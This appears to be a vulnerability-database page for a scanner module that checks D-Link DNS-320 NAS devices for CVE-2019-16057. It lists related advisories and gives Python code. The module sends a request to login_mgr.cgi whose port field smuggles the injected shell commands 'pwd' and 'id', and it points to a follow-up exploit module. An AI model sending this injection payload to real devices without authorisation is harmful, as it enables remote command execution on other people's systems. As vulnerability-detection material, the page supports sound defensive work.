Lucene search
+L

D-Link DNS-320 - Remote Code Execution Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

Remote command injection in D-Link DNS-320 login_mgr.cgi.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2019-16057
16 Sep 201900:00
–attackerkb
bdu_fstec
BDU FSTEC
D-Link DNS-320 Code Execution
9 Oct 201900:00
–bdu_fstec
circl
Circl
CVE-2019-16057
15 Oct 202015:07
–circl
cisa_kev
CISA KEV Catalog
D-Link DNS-320 Remote Code Execution Vulnerability
15 Apr 202200:00
–cisa_kev
cnvd
CNVD
D-Link DNS-320 Remote Command Injection Vulnerability
17 Sep 201900:00
–cnvd
checkpoint_advisories
Check Point Advisories
D-Link DNS-320 ShareCenter Command Injection (CVE-2019-16057)
25 Jan 202100:00
–checkpoint_advisories
cve
CVE
CVE-2019-16057
16 Sep 201911:58
–cve
cvelist
Cvelist
CVE-2019-16057
16 Sep 201911:58
–cvelist
nessus
Tenable Nessus
D-Link Routers RCE (CVE-2019-16057)
1 Mar 202300:00
–nessus
kittysploit
KittySploit
D-Link DNS-320 login_mgr RCE (CVE-2019-16057)
5 Oct 202614:20
–kittysploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The login_mgr."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'D-Link DNS-320 - Remote Code Execution Detection',
        'description': 'The login_mgr.cgi script in D-Link DNS-320 through 2.05.B10 is vulnerable to remote command injection.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2019', 'lfi', 'rce', 'kev', 'sharecenter', 'dlink', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'exploits/linux/http/dlink_dns320_cve_2019_16057_rce',
                ],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2019-16057',
            'https://web.archive.org/web/20201222035258im_/https://blog.cystack.net/content/images/2019/09/poc.png',
            'https://www.ftc.gov/system/files/documents/cases/dlink_proposed_order_and_judgment_7-2-19.pdf',
            'https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors',
            'https://github.com/Z0fhack/Goby_POC',
        ],
        'cve': 'CVE-2019-16057',
    }

    def run(self):
        r = self.http_request(method="GET", path='/cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26id&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username=', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_all = ('uid=', 'gid=', 'pwd&id',)
        if (all(m in body for m in body_all)):
            self.set_info(
                severity='critical',
                reason="D-Link DNS-320 - Remote Code Execution detected",
                path='/cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26id&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username=',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
CVSS 210
EPSS0.86491
SSVC
4